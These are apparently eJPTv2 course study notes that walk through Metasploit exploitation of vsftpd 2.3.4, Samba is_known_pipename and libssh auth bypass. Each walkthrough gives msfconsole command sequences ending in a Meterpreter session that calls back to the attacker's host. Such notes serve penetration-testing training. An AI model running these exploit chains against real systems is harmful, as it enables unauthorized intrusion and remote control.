> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/exploitation/linux-exploitation.md).

# Linux Exploitation

### Exploiting A Vulnerable FTP Server

* FTP (File Transfer Protocol) is a protocol that uses TCP port 21 and is used to facilitate file sharing between a server and client/clients.
* It is also frequently used as means of transferring files to and from the directory of a web server.
* vsftpd is an FTP server for Unix-like systems including Linux systems and is the default FTP server for Ubuntu, CentOS and Fedora.
* vsftpd V2.3.4 is vulnerable to a command execution vulnerability that is facilitated by a malicious backdoor that was added to the vsftpd download archive through a supply chain attack.

DEMO

```
msfconsole 
> setg RHOSTs <IP>
> db_nmap -sS -sV -O <IP>
> services
> vulns
> analyze
> search vsftpd
> use exploit/unix/ftp/vsftpd_234_backdoor
> info 
> run 

ctrl +z 
> search shell_to_meterpreter
> use post/multi/manage/shell_to_meterpreter
> show options
> set LHOST <attackerIP>
> set SESSION 1
> run
> sessions 2 
```

***

### Exploiting Samba

* SMB (Server Message Block) is a network file sharing protocol that is used to facilitate the sharing of files and peripherals between computers on a local network (LAN).
* SMB uses port 445 (TCP), however, originally, SMB ran on top of NetBIOS using port 139.
* Samba is the Linux implementation of SMB, and allows Windows systems to access Linux shares and devices.
* Samba V3.5.0 is vulnerable to a remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to lead and execute it.

DEMO

```
service postgresql start
msfconsole -q 
> workspace -a samba
> setg RHOSTS <IP>
> db_nmap -sS -sV -O <IP>
> search type: exploit name: samba
> use exploit/linux/samba/is_known_pipename
> show options
> check 
> run 
$ls
$pwd
ctrl + z

search shell_to_meterpreter
> set LHOST <attackerIP>
> set SESSEION 1
> run 

```

*Note*:  shell\_to\_meterpreter is to elevate the privileges of the command shell using session.&#x20;

***

### Exploiting A Vulnerable SSH Server

* SSH (Secure Shell) is a remote administration protocol that offers encryption and is the successor to Telnet.
* It is typically used for remote access to servers and systems.
* SSH uses TCP port 22 by default, however, like other services, it can be configured to use any other open TCP port.
* libssh is a multi-platform C library implementing the SSHv2 protocol on client and server side.
* libssh V0.6.0-0.8.0 is vulnerable to an authentication bypass vulnerability in the libssh server code that can be exploited to execute commands on the target server.

DEMO

```
msfconsole -q 
> workspace -a libssh
> setg RHOSTS <IP>
> db_nmap -sS -sV -O <IP>
> services
> search libssh_auth_bypass
> show options 
> set SPAWN_PTY true
> run 
> sessions 
> session 1

# whoami
# cat /etc/*release
# uname -r 

> search shell_to_meterpreter
> use post/multi/manage/shell_to_meterpreter
> show options
> set LHOST eth1
> set SESSION 1
> run 
> session 2
```

***